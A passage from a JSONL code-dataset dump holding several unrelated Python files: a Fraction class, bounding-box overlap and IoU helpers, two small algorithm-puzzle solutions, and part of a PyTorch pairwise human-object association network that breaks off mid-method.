'ljspeech_speech_problem'\n\n\n","sub_path":"usr/ljspeech_problem.py","file_name":"ljspeech_problem.py","file_ext":"py","file_size_in_byte":9980,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"475646914","text":"import math\nfrom fractions import Fraction as FT\n\n\nclass Fraction:\n \"\"\"A fraction with a numerator and denominator and arithmetic operations.\n Fractions are always stored in proper form, without common factors in \n numerator and denominator, and denominator >= 0.\n Since Fractions are stored in proper form, each value has a\n unique representation, e.g. 4/5, 24/30, and -20/-25 have the same\n internal representation.\n \"\"\"\n\n def __init__(self, numerator, denominator=1):\n \"\"\"Initialize a new fraction with the given numerator\n and denominator (default 1).\n \"\"\"\n # Prevent string, float or any type that is not float\n if isinstance(numerator, (int)) is False:\n raise TypeError(\n \"Numerator must be whole number\")\n if isinstance(denominator, (int)) is False:\n raise TypeError(\n \"Denominator must be whole number\")\n if denominator == 0:\n self.value = math.nan\n self.numerator = int(numerator)\n self.denominator = int(denominator)\n else:\n self.numerator = int(numerator)\n self.denominator = int(denominator)\n self.value = self.numerator/self.denominator\n\n def __str__(self):\n \"\"\"Return string form that represent fraction \n \"\"\"\n if self.denominator == 0:\n return f\"{math.nan}\"\n else:\n if self.value == 0:\n return \"0\"\n else:\n numerator, denominator = self.make_simplest_form()\n if self.check_negative():\n if self.check_whole(denominator):\n return f\"-{abs(numerator)}\"\n else:\n return f\"-{abs(numerator)}/{abs(denominator)}\"\n else:\n if self.check_whole(denominator):\n return f\"{numerator}\"\n else:\n return f\"{numerator}/{denominator}\"\n\n def make_simplest_form(self):\n \"\"\"transform fraction into it's simplest form\n \"\"\"\n if self.value == math.nan: # python not allow division by zero\n pass\n else: # convert fraction to it's simplest from through gcd\n gcd = math.gcd(self.numerator, self.denominator)\n numerator = int(self.numerator/gcd)\n denominator = int(self.denominator/gcd)\n return numerator, denominator\n\n def check_negative(self):\n \"\"\"metohd to check is the fraction is whole number or not\n \"\"\"\n\n if self.value < 0:\n return True\n elif self.value > 0:\n return False\n\n def check_whole(self, denominator):\n \"\"\"metohd to check is the fraction is whole number or not\n \"\"\"\n if denominator == 1:\n return True\n elif denominator == -1:\n return True\n else:\n return False\n\n def __add__(self, frac):\n \"\"\"Return the sum of two fractions as a new fraction.\n Use the standard formula a/b + c/d = (ad+bc)/(b*d)\n \"\"\"\n # call fraction library in order to convert decimal to fraction\n result = FT(self.value+frac.value)\n return Fraction(result.numerator, result.denominator)\n\n def __mul__(self, frac):\n \"\"\"Return the product of two fractions as a new fraction.\n Use the standard formula a/b * c/d = ac/bd\n \"\"\"\n # call fraction library in order to convert decimal to fraction\n result = FT(self.value*frac.value)\n return Fraction(result.numerator, result.denominator)\n\n def __eq__(self, frac):\n \"\"\"Two fractions are equal if they have the same value.\n Fractions are stored in proper form so the internal representation\n is unique (3/6 is same as 1/2).\n \"\"\"\n if self.value == frac.value:\n return True\n else:\n return False\n\n def __sub__(self, frac):\n \"\"\"Return the subtraction of two fractions as a new fraction.\n Use the standard formula a/b - c/d = (ad-bc)/(b*d)\n \"\"\"\n result = FT(self.value-frac.value)\n return Fraction(result.numerator, result.denominator)\n\n def __neg__(self):\n \"\"\"return negative form of fraction \n \"\"\"\n result = FT(self.value*-1)\n return Fraction(result.numerator, result.denominator)\n","sub_path":"fraction.py","file_name":"fraction.py","file_ext":"py","file_size_in_byte":4431,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"650515370","text":"TOLERANCE = 5\n\n\ndef do_overlap(bbox1, bbox2):\n \"\"\"\n :param bbox1: bounding box of the first rectangle\n :param bbox2: bounding box of the second rectangle\n :return: 1 if the two rectangles overlap\n \"\"\"\n if bbox1[2] < bbox2[0] or bbox2[2] < bbox1[0]:\n return False\n if bbox1[3] < bbox2[1] or bbox2[3] < bbox1[1]:\n return False\n return True\n\n\ndef is_contained(bbox1, bbox2, tol=TOLERANCE):\n \"\"\"\n :param bbox1: bounding box of the first rectangle\n :param bbox2: bounding box of the second rectangle\n :return: True if bbox1 is contaned in bbox2\n \"\"\"\n if bbox1[0] > bbox2[0]-tol and bbox1[1] > bbox2[1]-tol:\n if bbox1[2] < bbox2[2]+tol and bbox1[3] < bbox2[3]+tol:\n return True\n return False\n\n\ndef merge_bounding_boxes(bbox1, bbox2):\n \"\"\"\n :param bbox1: (top, left, bottom, right)\n :param bbox2: (top, left, bottom, right)\n :return: Merge bounding boxes\n \"\"\"\n if is_contained(bbox1, bbox2):\n return bbox2\n elif is_contained(bbox2, bbox1):\n return bbox1\n else:\n return (min(bbox1[0], bbox2[0]), min(bbox1[1], bbox2[1]),\n max(bbox1[2], bbox2[2]), max(bbox1[3], bbox2[3]))\n\n\ndef get_rectangles(vertical_lines, horizontal_lines):\n \"\"\"\n :param vertical_lines: list of vertical lines coordinates\n :param horizontal_lines: list of horizontal lines coordinates\n :return: List of bounding boxes for tables\n \"\"\"\n # TODO : add tolerance\n rectangles = []\n i = 0\n j = 0\n while i < len(horizontal_lines) and j < len(vertical_lines):\n if int(horizontal_lines[i][0]) == vertical_lines[j][0]:\n if int(horizontal_lines[i][1]) == int(vertical_lines[j][1]):\n h = horizontal_lines[i]\n v = vertical_lines[j]\n rectangles += [(h[0], h[1], v[2], h[3])]\n i += 1\n j += 1\n elif int(horizontal_lines[i][1]) < int(vertical_lines[j][1]):\n i += 1\n else:\n j += 1\n elif int(horizontal_lines[i][0]) < int(vertical_lines[j][0]):\n i += 1\n else:\n j += 1\n return rectangles\n\n\ndef get_outer_bounding_boxes(rectangles):\n \"\"\"\n :param rectangles: list of bounding boxes (top, left, bottom, right)\n :return: outer bounding boxes (only the largest bbox when bboxes intersect)\n \"\"\"\n if len(rectangles) == 0:\n return []\n to_remove = []\n for i, bbox1 in enumerate(rectangles):\n for j, bbox2 in enumerate(rectangles[i+1:]):\n if is_contained(bbox1, bbox2):\n to_remove.append(i)\n break\n elif is_contained(bbox2, bbox1):\n to_remove.append(i + j + 1)\n\n for i in sorted(set(to_remove), reverse=True):\n del rectangles[i]\n return rectangles\n\n\ndef get_intersection(bbox1, bbox2):\n \"\"\"\n :param bbox1: (page, width, height, top, left, bottom, right)\n :param bbox2: (page, width, height, top, left, bottom, right)\n :return: intersection if bboxes are in the same page and intersect\n \"\"\"\n intersection = None\n top_1, left_1, bottom_1, right_1 = bbox1\n top_2, left_2, bottom_2, right_2 = bbox2\n if do_overlap((top_1, left_1, bottom_1, right_1), (top_2, left_2, bottom_2, right_2)):\n intersection = [max(top_1, top_2), max(left_1, left_2), min(bottom_1, bottom_2), min(right_1, right_2)]\n return intersection\n\n\ndef get_union(bbox1, bbox2):\n \"\"\"\n :param bbox1: (page, width, height, top, left, bottom, right)\n :param bbox2: (page, width, height, top, left, bottom, right)\n :return: intersection if bboxes are in the same page and intersect\n \"\"\"\n intersection = None\n top_1, left_1, bottom_1, right_1 = bbox1\n top_2, left_2, bottom_2, right_2 = bbox2\n if do_overlap((top_1, left_1, bottom_1, right_1), (top_2, left_2, bottom_2, right_2)):\n intersection = [min(top_1, top_2), min(left_1, left_2), max(bottom_1, bottom_2), max(right_1, right_2)]\n return intersection\n\n\ndef compute_iou(bbox1, bbox2):\n \"\"\"\n :param bbox1: (page, width, height, top, left, bottom, right)\n :param bbox2: (page, width, height, top, left, bottom, right)\n :return: intersection over union if bboxes are in the same page and intersect\n \"\"\"\n top_1, left_1, bottom_1, right_1 = bbox1\n top_2, left_2, bottom_2, right_2 = bbox2\n if do_overlap((top_1, left_1, bottom_1, right_1), (top_2, left_2, bottom_2, right_2)):\n intersection = (min(bottom_1, bottom_2) - max(top_1, top_2))*(min(right_1, right_2) - max(left_1, left_2))\n union = (bottom_1-top_1)*(right_1-left_1) + (bottom_2-top_2)*(right_2-left_2) - intersection\n return float(intersection)/float(union)\n return 0.\n","sub_path":"extration/pdf_to_xml/utilities/bounding_boxes.py","file_name":"bounding_boxes.py","file_ext":"py","file_size_in_byte":4756,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"552133023","text":"lists = list(eval(input()))\nk = int(input())\norder = list()\nwords = dict()\nfor i in range(len(lists)):\n for j in range(i+1,len(lists)):\n num = float(lists[i]/lists[j])\n strs = str(lists[i])+'/'+str(lists[j])\n words[num] = strs\n order.append(num)\norder.sort()\ntemp = order[k-1]\nstring = words.get(num)\ntemplist = string.split('/')\nans = [int(i) for i in templist]\nprint(ans)","sub_path":"Code/CodeRecords/2634/60716/276942.py","file_name":"276942.py","file_ext":"py","file_size_in_byte":404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"112438533","text":"class Solution(object):\n def closedIsland(self, grid):\n \"\"\"\n :type grid: List[List[int]]\n :rtype: int\n \"\"\"\n \n self.res = 0\n \n for i in range(len(grid)):\n for j in range(len(grid[0])):\n if (i == 0 or j == 0 or i == len(grid) - 1 or j == len(grid[0]) - 1) and not grid[i][j]:\n self.dfs(i, j, grid)\n \n for i in range(len(grid)):\n for j in range(len(grid[0])):\n if not grid[i][j]:\n self.dfs(i, j, grid)\n self.res += 1\n \n return self.res\n \n def dfs(self, row, col, grid):\n if row < 0 or row >= len(grid) or col < 0 or col >= len(grid[0]) or grid[row][col] == 1:\n \n return\n \n grid[row][col] = 1\n self.dfs(row + 1, col, grid)\n self.dfs(row, col + 1, grid)\n self.dfs(row - 1, col, grid)\n self.dfs(row, col - 1, grid)","sub_path":"practice/solution/1254_number_of_closed_islands.py","file_name":"1254_number_of_closed_islands.py","file_ext":"py","file_size_in_byte":1005,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"2"} +{"seq_id":"209620251","text":"# coding:utf-8\nimport functools\nimport logging\nimport time\nimport copy\nimport json\nimport math\nimport importlib\nimport pickle\nimport random\n\nimport torch\nimport torch.nn.functional as F\nimport torch.nn as nn\nimport numpy as np\nfrom torch.autograd import Variable\n\nfrom .... import extensions as E\nfrom ..utils.pair_helper import cal_iou\nfrom ..utils.bbox_helper import clip_bbox\nfrom ..utils import loss as L\nfrom ..utils import accuracy as A\nfrom ..utils import bbox_helper\n\nfrom ..utils.assigner import map_rois_to_level\nfrom ...initializer import initialize_from_cfg, init_weights_normal\nfrom .pair import compute_proposal_targets, predict_assos, predict_assos_2, compute_proposal_targets_gt\nfrom .matcher import SingleFramePostProcessorFactory\nfrom .position import PositionTransform, PositionEmbedding\nfrom .ibconv import build_ibconv\nfrom unn.models.backbones.resnext_syncbn import ResNeXtBottleneck\nfrom unn.models.attentions.siamese_attention import SiameseAttention\nfrom unn.models.attentions.siamese_attention import SiameseAttentionPlus\nfrom unn.models.functions.embedding import BoxPositionEmbedding\nfrom unn.models.functions.embedding import ImagePositionEmbedding\n\nimport pdb\n\n__all__ = ['GeneralAssociation', 'GeneralAssociation_union',] \n\nlogger = logging.getLogger('global')\n\ndef to_np_array(x):\n if isinstance(x, Variable): x = x.data\n return x.cpu().float().numpy() if torch.is_tensor(x) else x\n\n\ndef parse_bbox(file_path):\n all_bbox = {}\n for line in open(file_path):\n content = json.loads(line)\n if not \"bbox\" in content:\n continue\n image_id = content[\"image_id\"]\n if image_id[-4] != \".\":\n image_id = image_id + \".jpg\"\n #content['score'] = 8.4 / (1 + math.exp(12.0 -content['score'] * 10.0))\n bbox = [0] + content[\"bbox\"] + [content[\"score\"]] + [content[\"label\"]]\n if not image_id in all_bbox:\n all_bbox[image_id] = []\n all_bbox[image_id].append(bbox)\n for image_id in all_bbox.keys():\n all_bbox[image_id] = np.array(all_bbox[image_id])\n return all_bbox\n\n\nclass PairWiseNet(nn.Module):\n def __init__(self, inplanes, num_classes, cfg):\n super(PairWiseNet, self).__init__()\n self.origin_cfg = copy.deepcopy(cfg)\n self.cfg = copy.deepcopy(cfg)\n self.tocaffe = self.cfg.get('tocaffe', False)\n self.cfg['num_classes'] = num_classes\n self.num_classes = num_classes\n if isinstance(inplanes, list):\n assert len(inplanes) == 1, 'single input is expected, but found:{} '.format(inplanes)\n inplanes = inplanes[0]\n assert isinstance(inplanes, int)\n self.inplanes = inplanes\n self.roipool = E.build_generic_roipool(cfg['roipooling'])\n self.pool_size = cfg['roipooling']['pool_size']\n self.position_score = cfg.get('position_score', False)\n self.single_mdim = self.pool_size * self.pool_size * inplanes\n if self.cfg.get('pre_fc', None):\n self.pre_fc = nn.Linear(self.single_mdim, self.cfg['pre_fc'])\n self.single_mdim = self.cfg['pre_fc']\n else:\n self.pre_fc = None\n self.mdim = self.single_mdim * 2\n self.union_box = self.cfg.get('union_box', False)\n if not self.cfg.get('position', None) is None:\n # Only use position transform\n if self.cfg['position'] == 'naive':\n self.mdim += 14\n elif self.cfg['position'] == 'embedding':\n # Use position embedding, each element will be mapped to high dimension\n self.mdim += 14 * 256\n else:\n self.position_fc1 = nn.Linear(self.pool_size * self.pool_size * inplanes, 1024)\n self.position_relu = nn.ReLU(inplace=True)\n self.position_fc2 = nn.Linear(1024, 1024)\n self.position_fc3 = nn.Linear(1024, 14 * 256)\n self.mdim += 14 * 256\n self.predict_kernel = self.cfg.get('predict_kernel', None)\n if self.predict_kernel is not None:\n self.ibconv = build_ibconv(self.inplanes, self.pool_size, self.cfg)\n \n \n if self.cfg.get('similarity', False):\n # Use vector dot operation to assess the similarity\n self.mdim += self.single_mdim\n if self.union_box:\n self.mdim += self.single_mdim\n \n if self.cfg.get('use_filter', None):\n asso_triplet = []\n filename = cfg.get('use_filter')\n with open(filename, 'r') as f:\n lines = f.readlines()\n for line in lines:\n mp = json.loads(line.strip())\n asso_triplet.append(mp)\n self.origin_cfg['asso_triplet'] = asso_triplet\n if self.cfg.get('pre_filter', None) is not None:\n self.pre_filter = json.loads(open(self.cfg['pre_filter']).readlines()[0])\n self.cls_mdim = 0\n self.keep_origin_feature = False\n self.use_rpn = False\n self.output_predict = self.origin_cfg.get('output_predict', False)\n if self.cfg.get('binary_mask', None) is not None:\n self.binary_mask = json.loads(open(self.cfg['binary_mask']).readlines()[0])\n bbox_num = self.cfg['num_bbox_classes']\n self.binary_scale = [[0 for _ in range(self.num_classes)] for __ in range(bbox_num)]\n for k in self.binary_mask.keys():\n v = self.binary_mask[k]\n for item in v:\n self.binary_scale[k][item] = 1\n self.binary_scale = torch.cuda.FloatTensor(self.binary_scale)\n else:\n self.binary_mask = None\n if self.cfg.get('element_wise_sum', False):\n self.mdim = self.single_mdim\n self.save_res = []\n\n def calIoU(self, b1, b2):\n area1 = (b1[:, 2] - b1[:, 0]) * (b1[:, 3] - b1[:, 1])\n area2 = (b2[:, 2] - b2[:, 0]) * (b2[:, 3] - b2[:, 1])\n inter_xmin = np.maximum(b1[:, 0].reshape(-1, 1), b2[:, 0].reshape(1, -1))\n inter_ymin = np.maximum(b1[:, 1].reshape(-1, 1), b2[:, 1].reshape(1, -1))\n inter_xmax = np.minimum(b1[:, 2].reshape(-1, 1), b2[:, 2].reshape(1, -1))\n inter_ymax = np.minimum(b1[:, 3].reshape(-1, 1), b2[:, 3].reshape(1, -1))\n inter_h = np.maximum(inter_xmax - inter_xmin, 0)\n inter_w = np.maximum(inter_ymax - inter_ymin, 0)\n inter_area = inter_h * inter_w\n union_area1 = area1.reshape(-1, 1) + area2.reshape(1, -1)\n union_area2 = (union_area1 - inter_area)\n return inter_area / np.maximum(union_area2, 1)\n\n def check_is_first(self, cls):\n if self.cfg.get('pair_method', None) is not None:\n if not 'first' in self.cfg['pair_method']:\n return cls > 0\n else:\n return cls in self.cfg['pair_method']['first']\n return cls > 0\n\n def check_is_second(self, cls):\n if self.cfg.get('pair_method', None) is not None:\n if not 'second' in self.cfg['pair_method']:\n return cls > 0\n else:\n return cls in self.cfg['pair_method']['second']\n return cls > 0\n \n def generate_pair(self, rois, input):\n '''\n return value pair_rois: [N,K] batch_ix, rois_1 idx, rois_2 idx\n '''\n rois = to_np_array(rois)\n B = max(rois[:, 0].astype(np.int32)) + 1\n pair_rois = []\n pair_position = []\n rois1 = []\n rois2 = []\n nrois = np.array(copy.deepcopy(rois))\n for b_ix in range(B):\n rois1_ix = []\n rois2_ix = []\n b_first_cnt = 0\n b_second_cnt = 0\n for i in range(nrois.shape[0]):\n # All body bbox\n if int(nrois[i,0]) == b_ix and self.check_is_first(int(rois[i, 6])):\n rois1_ix.append(i)\n b_first_cnt += 1\n if self.cfg.get('pre_top_n', None):\n if b_first_cnt > self.cfg['pre_top_n']:\n break\n # All the other bbox\n if int(nrois[i,0]) == b_ix and self.check_is_second(int(rois[i, 6])):\n rois2_ix.append(i)\n b_second_cnt += 1\n if self.cfg.get('pre_top_n', None):\n if b_second_cnt > self.cfg['pre_top_n']:\n break\n # For avoiding runtime error\n if len(rois1_ix) == 0:\n rois1_ix.append(0)\n if len(rois2_ix) == 0:\n rois2_ix.append(0)\n rois1_ix = np.array(rois1_ix)\n rois2_ix = np.array(rois2_ix)\n N = len(rois1_ix)\n M = len(rois2_ix)\n batch_pair_rois = np.zeros((N * M, 3))\n batch_pair_position = np.zeros((N * M, 5))\n batch_pair_rois[:, 1: 3] = np.stack(np.meshgrid(rois1_ix, rois2_ix), axis=2).reshape(-1,2)\n batch_pair_rois[:, 0] = b_ix\n batch_pair_position[:, 0] = b_ix\n batch_rois1 = nrois[batch_pair_rois[:,1].astype(np.int32)]\n batch_rois2 = nrois[batch_pair_rois[:,2].astype(np.int32)]\n batch_pair_position[:, 1] = np.minimum(batch_rois1[:, 1], batch_rois2[:, 1])\n batch_pair_position[:, 2] = np.minimum(batch_rois1[:, 2], batch_rois2[:, 2])\n batch_pair_position[:, 3] = np.maximum(batch_rois1[:, 3], batch_rois2[:, 3])\n batch_pair_position[:, 4] = np.maximum(batch_rois1[:, 4], batch_rois2[:, 4])\n pair_rois.append(batch_pair_rois)\n pair_position.append(batch_pair_position)\n rois1.append(batch_rois1)\n rois2.append(batch_rois2)\n pair_rois = np.vstack(pair_rois)\n pair_position = np.vstack(pair_position)\n rois1 = np.vstack(rois1)\n rois2 = np.vstack(rois2)\n pair_filter = []\n position_filter = []\n rois1_filter = []\n rois2_filter = []\n # pre-process, suppress the pairs whose object is far away from the body bbox\n ratio = self.cfg.get('make_pair_ratio', None)\n for i, pair in enumerate(pair_rois):\n idx1 = int(pair[1])\n idx2 = int(pair[2])\n if ratio is not None:\n body_x1, body_y1, body_x2, body_y2 = rois[idx1][1:5]\n w = body_x2 - body_x1\n h = body_y2 - body_y1\n body_x1 = max(body_x1 - w * ratio, 0)\n body_y1 = max(body_y1 - h * ratio, 0)\n body_x2 = body_x2 + w * ratio\n body_y2 = body_y2 + h * ratio\n xmax = max(body_x1, rois[idx2][1])\n xmin = min(body_x2, rois[idx2][3])\n ymax = max(body_y1, rois[idx2][2])\n ymin = min(body_y2, rois[idx2][4])\n \n else:\n xmax = max(rois[idx1][1], rois[idx2][1])\n xmin = min(rois[idx1][3], rois[idx2][3])\n ymax = max(rois[idx1][2], rois[idx2][2])\n ymin = min(rois[idx1][4], rois[idx2][4])\n \n cross = max(xmin - xmax, 0) * max(ymin - ymax, 0)\n area = (rois[idx2][3] - rois[idx2][1]) * (rois[idx2][4] - rois[idx2][2])\n ioa = cross / (area + 0.1)\n label1 = rois1[i][6].astype(np.int32)\n label2 = rois2[i][6].astype(np.int32)\n # IOA filter \n if (ioa > self.cfg.get('ioa_threshold', -1) or i == 0):\n if self.cfg.get('pre_filter', None) is None or (str(label1) in self.pre_filter and label2 in self.pre_filter[str(label1)]) or i == 0:\n pair_filter.append(pair)\n position_filter.append(pair_position[i])\n rois1_filter.append(rois1[i])\n rois2_filter.append(rois2[i])\n elif self.training:\n bbox1_x = np.array([rois[idx1][1], rois[idx1][3]])\n bbox1_y = np.array([rois[idx1][2], rois[idx1][4]])\n sub1 = np.min(\n np.array([np.abs(bbox1_x - rois[idx2][1]), np.abs(bbox1_x - rois[idx2][3])])\n )\n sub2 = np.min(\n np.array([np.abs(bbox1_y - rois[idx2][4]), np.abs(bbox1_y - rois[idx2][4])])\n )\n sub = min(sub1, sub2)\n if sub < 100 and self.cfg.get('ioa_random_ratio', 0.0) > random.random():\n pair_filter.append(pair)\n position_filter.append(pair_position[i])\n rois1_filter.append(rois1[i])\n rois2_filter.append(rois2[i])\n if self.cfg.get('ioa_threshold', None) is not None or self.cfg.get('pre_filter', None) is not None:\n pair_rois = np.array(pair_filter)\n pair_position = np.array(position_filter)\n rois1 = np.array(rois1_filter)\n rois2 = np.array(rois2_filter)\n return pair_rois, rois1, rois2, pair_position\n\n def print_param(self, feature, file_path):\n '''\n print param during tocaffe method\n '''\n return\n res_file = open(file_path, 'w')\n temp_feature = feature.view(-1)\n res_file.write(str(temp_feature.shape) + '\\n')\n for i in range(len(temp_feature)):\n res_file.write(str(temp_feature[i].cpu().detach().numpy().tolist()) + '\\n')\n res_file.close()\n \n def create_table(self, pair_rois):\n '''\n map two rois idx to pair idx\n '''\n roiTable = {}\n N = pair_rois.shape[0]\n for i in range(N):\n x = int(pair_rois[i][1])\n y = int(pair_rois[i][2])\n roiTable[(x,y)] = i\n return roiTable\n\n def forward(self, input):\n prefix = 'PairWiseNet'\n mode = input.get('runner_mode', 'val')\n self.cfg = copy.deepcopy(self.origin_cfg)\n if mode in self.cfg:\n self.cfg.update(self.cfg[mode])\n else:\n self.cfg.update(self.cfg.get('val', {}))\n output = {}\n if self.training:\n if len(input['gt_assos'][0]) == 0:\n sv = 1\n elif input['gt_assos'][0][0][2] > 0:\n sv = 1\n elif self.cfg.get('ignore_false_example', False):\n sv = 0\n else:\n sv = 1\n if not 'dt_bboxes' in input or input['dt_bboxes'].shape[0] == 0:\n input['dt_bboxes'] = torch.HalfTensor([[0, 0, 0, 0, 0, 0.0, 1]]).cuda()\n loss, acc, predict_vector, predict_target = self.get_loss(input)\n if predict_vector is not None:\n output[prefix + '.predict_vector'] = predict_vector\n output[prefix + '.predict_target'] = predict_target\n for k, v in loss.items():\n output[prefix + k] = v * sv\n for k, v in acc.items():\n output[prefix + k] = v\n else:\n if not 'dt_bboxes' in input or input['dt_bboxes'].shape[0] == 0:\n if self.tocaffe:\n input['dt_bboxes'] = torch.FloatTensor([[0, 0, 0, 0, 0, 0.0, 1]])\n else:\n input['dt_bboxes'] = torch.HalfTensor([[0, 0, 0, 0, 0, 0.0, 1]]).cuda()\n assos, pred_cls = self.get_assos(input)\n if self.tocaffe:\n output[prefix + '.blobs.classification'] = pred_cls\n output['dt_bboxes'] = input['dt_bboxes']\n first_bbox = output['dt_bboxes'].clone()\n twice_pro = self.cfg.get('twice_match', False)\n output['dt_assos'] = assos[assos[:, -1] >= 0.5] if twice_pro else assos\n if self.cfg.get('post_processor', None) is not None:\n processor = SingleFramePostProcessorFactory.create(self.cfg['post_processor'])\n output = processor.process(output)\n if twice_pro:\n input['dt_bboxes'] = torch.from_numpy(output['next_dt_bbox']).cuda()\n self.cfg['ioa_threshold'] = -1\n assos, pred_cls = self.get_assos_union(input)\n first_assos = output['dt_assos'].copy()\n output['dt_bboxes'] = first_bbox\n output['dt_assos'] = assos[assos[:, -1] >= 0.2]\n output = processor.process(output)\n if output['dt_assos'].shape[0] == 0:\n output['dt_assos'] = first_assos\n else:\n output['dt_assos'] = np.vstack([output['dt_assos'], first_assos])\n return output\n\n def roi_pooling(self, rois, x, stride, image_info):\n #pdb.set_trace()\n feature = self.roipool(rois[:,0:5], x, stride)\n if self.keep_origin_feature and self.pre_fc is None:\n return feature\n c = feature.numel() // feature.shape[0]\n feature = feature.view(-1, c).contiguous()\n if self.pre_fc is not None:\n feature = self.pre_fc(feature)\n return feature\n\n def mlvl_predict(self, x_rois, x_features, x_strides, levels, image_info):\n #pdb.set_trace()\n mlvl_pred_feature = []\n for lvl_idx in levels:\n #logger.info(str(lvl_idx) + \" \" + str(x_rois[lvl_idx].shape[0]))\n if x_rois[lvl_idx].shape[0] > 0:\n rois = x_rois[lvl_idx]\n feature = x_features[lvl_idx]\n stride = x_strides[lvl_idx]\n pred_feature = self.roi_pooling(rois, feature, stride, image_info)\n mlvl_pred_feature.append(pred_feature)\n pred_feature = torch.cat(mlvl_pred_feature, dim=0)\n return pred_feature\n \n def extract_feature(self, rois, input, keep_rois=False):\n '''\n rois is original rois\n '''\n x_features = input['features']\n x_strides = input['strides']\n image_info = input['image_info']\n for i in range(len(x_features)):\n feature = x_features[i]\n if self.tocaffe:\n self.print_param(feature, 'fpn' + str(i) + '.txt')\n if self.cfg.get('fpn', None):\n fpn = self.cfg['fpn']\n if self.tocaffe and not self.training:\n mlvl_rois, recover_inds = [rois] * len(fpn['fpn_levels']), None\n else:\n if not keep_rois:\n mlvl_rois, recover_inds = map_rois_to_level(fpn['fpn_levels'], fpn['base_scale'], rois, original_inds=True)\n rois = to_np_array(rois[recover_inds])\n else:\n mlvl_rois, recover_inds = map_rois_to_level(fpn['fpn_levels'], fpn['base_scale'], rois)\n rois = to_np_array(rois)\n pred_feature = self.mlvl_predict(\n mlvl_rois, x_features, x_strides, fpn['fpn_levels'], image_info)\n if keep_rois and not self.tocaffe:\n pred_feature = pred_feature[recover_inds]\n return rois, pred_feature\n \n def extract_relation_feature(self, rois, pair_rois, pair_position, input):\n rois1 = copy.deepcopy(rois)\n rois1, pred_rois1_feature = self.extract_feature(rois1, input, keep_rois=True)\n if self.tocaffe:\n # use CPU method\n rois1_feature = pred_rois1_feature.index_select(0, torch.LongTensor(pair_rois[:, 1])).contiguous()\n rois2_feature = pred_rois1_feature.index_select(0, torch.LongTensor(pair_rois[:, 2])).contiguous()\n else:\n rois1_feature = pred_rois1_feature.index_select(0, torch.cuda.LongTensor(pair_rois[:, 1])).contiguous()\n rois2_feature = pred_rois1_feature.index_select(0, torch.cuda.LongTensor(pair_rois[:, 2])).contiguous()\n if self.predict_kernel:\n rois2_feature = self.ibconv(rois1_feature, rois1, pair_rois, input)\n\n # rois1_feature is body feature\n # rois2_feature is object feature\n pred_human_feature = rois1_feature\n features = [rois1_feature, rois2_feature] \n if self.union_box:\n _, union_feature = self.extract_feature(torch.Tensor(pair_position).type_as(rois1_feature), input, keep_rois=True)\n features.append(union_feature)\n if not self.cfg.get('position', None) is None:\n # add position feature\n position_feature = PositionTransform(rois1[pair_rois[:,1].astype(np.int32)], rois1[pair_rois[:,2].astype(np.int32)], input['image_info'])\n if self.cfg['position'] == 'embedding' or self.cfg['position'] == 'embedding app':\n position_feature = PositionEmbedding(position_feature, 256)\n if self.cfg['position'] == 'embedding app':\n app_feature = self.position_relu(self.position_fc1(pred_human_feature))\n app_feature = self.position_relu(self.position_fc2(app_feature))\n app_feature = self.position_relu(self.position_fc3(app_feature))\n position_feature = position_feature * app_feature\n\n features.append(position_feature)\n if self.keep_origin_feature:\n return features\n pred_pair_feature = torch.cat(features, dim=1)\n if self.tocaffe:\n self.print_param(pred_pair_feature, 'concat167.txt')\n return pred_pair_feature\n\n def binary_predict(self, x, rois1=None, rois2=None, union_rois=None):\n raise NotImplementedError\n\n def predict(self, x, rois1=None, rois2=None, union_rois=None, input=None):\n raise NotImplementedError\n\n def load_box(self, path):\n # load given bbox \n fin = open(path, \"r\")\n contents = fin.readlines()\n rois = []\n for line in contents:\n anno = json.loads(line)\n tmp = [0]\n box = anno[\"bbox\"]\n for item in box:\n #tmp.append(item * 13.0 / 40.0)\n tmp.append(item)\n tmp.append(anno[\"score\"])\n label = anno[\"label\"]\n # reassign bbox label \n tmp.append(label)\n rois.append(tmp)\n rois = torch.cuda.FloatTensor(rois)\n return rois\n\n def get_assos_union(self, input):\n image_info = input['image_info']\n rois = input['dt_bboxes']\n #rois = input['dt_bboxes'][:self.cfg['pre_top_n']]\n #rois = self.load_box(\"/mnt/lustre/share/zhangmingyuan/to_ycj/0808/bbox.json\")\n tmp_rois = copy.deepcopy(rois)\n pair_rois, rois1, rois2, pair_position = self.generate_pair(tmp_rois, input)\n \n self.union_box = True\n pred_pair_feature = self.extract_relation_feature(rois, pair_rois, pair_position, input)\n union_feature = torch.cat([pred_pair_feature[:, 3136*2:3136*3], \n pred_pair_feature[:, 3136:3136*2], pred_pair_feature[:, 3136*3:]], dim=1)\n pred_cls = self.predict(union_feature, rois1, rois2, pair_position, input)\n self.union_box = False\n if self.cfg.get('cls_type', 'softmax') == 'softmax':\n pred_cls = F.softmax(pred_cls, dim=1)\n if self.tocaffe:\n self.print_param(pred_cls, 'softmax.txt')\n assos = predict_assos(rois, pair_rois, pred_cls, image_info, self.cfg, self.tocaffe)\n return assos, pred_cls\n\n def get_assos(self, input):\n image_info = input['image_info']\n rois = input['dt_bboxes']\n #rois = input['dt_bboxes'][:self.cfg['pre_top_n']]\n #rois = self.load_box(\"/mnt/lustre/share/zhangmingyuan/to_ycj/0808/bbox.json\")\n tmp_rois = copy.deepcopy(rois)\n pair_rois, rois1, rois2, pair_position = self.generate_pair(tmp_rois, input)\n pred_pair_feature = self.extract_relation_feature(rois, pair_rois, pair_position, input)\n pred_cls = self.predict(pred_pair_feature, rois1, rois2, pair_position, input)\n\n if self.cfg.get('cls_type', 'softmax') == 'softmax':\n pred_cls = F.softmax(pred_cls, dim=1)\n if self.tocaffe:\n self.print_param(pred_cls, 'softmax.txt')\n assos = predict_assos(rois, pair_rois, pred_cls, image_info, self.cfg, self.tocaffe)\n return assos, pred_cls\n\n def assign(self, rois, gt_bboxes):\n # when use rpn output for asso prediction, we re-label the bbox cls by calculate the IoU between dt and gt\n # 1 is body bbox, 2 is object bbox \n N = rois.shape[0]\n flag = False\n for i in range(N):\n b_ix = int(rois[i][0])\n gt = to_np_array(gt_bboxes[b_ix]).astype(np.int32)\n idx = np.where(gt[:, 4] == 1)\n gt = gt[idx]\n if gt.shape[0] == 0:\n if flag:\n 